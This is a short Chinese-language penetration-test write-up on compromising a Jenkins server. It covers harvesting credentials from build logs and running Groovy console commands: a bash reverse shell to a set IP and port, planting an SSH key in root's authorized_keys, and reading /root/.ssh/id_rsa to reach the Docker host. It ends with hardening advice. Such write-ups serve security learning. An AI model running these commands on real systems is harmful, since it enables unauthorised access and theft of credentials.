Jenkins获取权限的过程
Jenkins存在未授权访问漏洞
Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功。
- 备注:控制台一般可以进去后直接URL输入http://a.b.c.d/script 即可进入
执行命令尝试反弹shell
在对话框中尝试反弹shell,本地NC监听中,发行不行,尝试ping回来,发现网络不通,随即希望正想shell
println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text
尝试正向shell
尝试绑定shell
首先确定系统有的命令和账号权限
println 'id'.execute().text
println 'whoami'.execute().text
println 'ls -l /usr/bin/'.execute().text
发现root权限,curl和wget都有,git也有(jenkins肯定有),尝试互联网访问是否可达
println 'curl -v https://www.baidu.com'.execute().text
开始下载正向绑定shell的脚本运行失败。
尝试上传自己的公钥
随即传上去自己的公钥,尝试ssh登录失败
println 'echo 公钥内容 >> /root/.ssh/authroized_keys'.execute().text
本地主机登录ssh失败
ssh -i 私钥 a.b.c.d
查看.ssh目录发现已有的私钥
经过大牛指点,继续尝试搜索主机
println 'ls /root/.ssh/'.execute().text
println 'cat /root/.ssh/id_rsa'.execute().text()
保存在本地私钥,尝试登录成功
ssh -i id_rsa a.b.c.d
Docker的干扰
登上去之后查看失败原因:
原来服务是Docker起的,我绑定的正向shell监听的端口也好,上传的自己的公钥也好都在docker里,而我尝试登录的是宿主机,所以一直有问题,而最后的成功,也是因为docker和宿主机使用了同一套公私钥
安全建议
-
1、不要配置Jenkinis匿名登录(未登录状态)有任何权限包括读取权限也不行;
-
2、不要使用弱口令;
-
3、docker打包时候检查,宿主机环境也要检查,不使用没有key的秘钥,公私钥不要存放在一起,docker和宿主机不要使用同一套公私钥;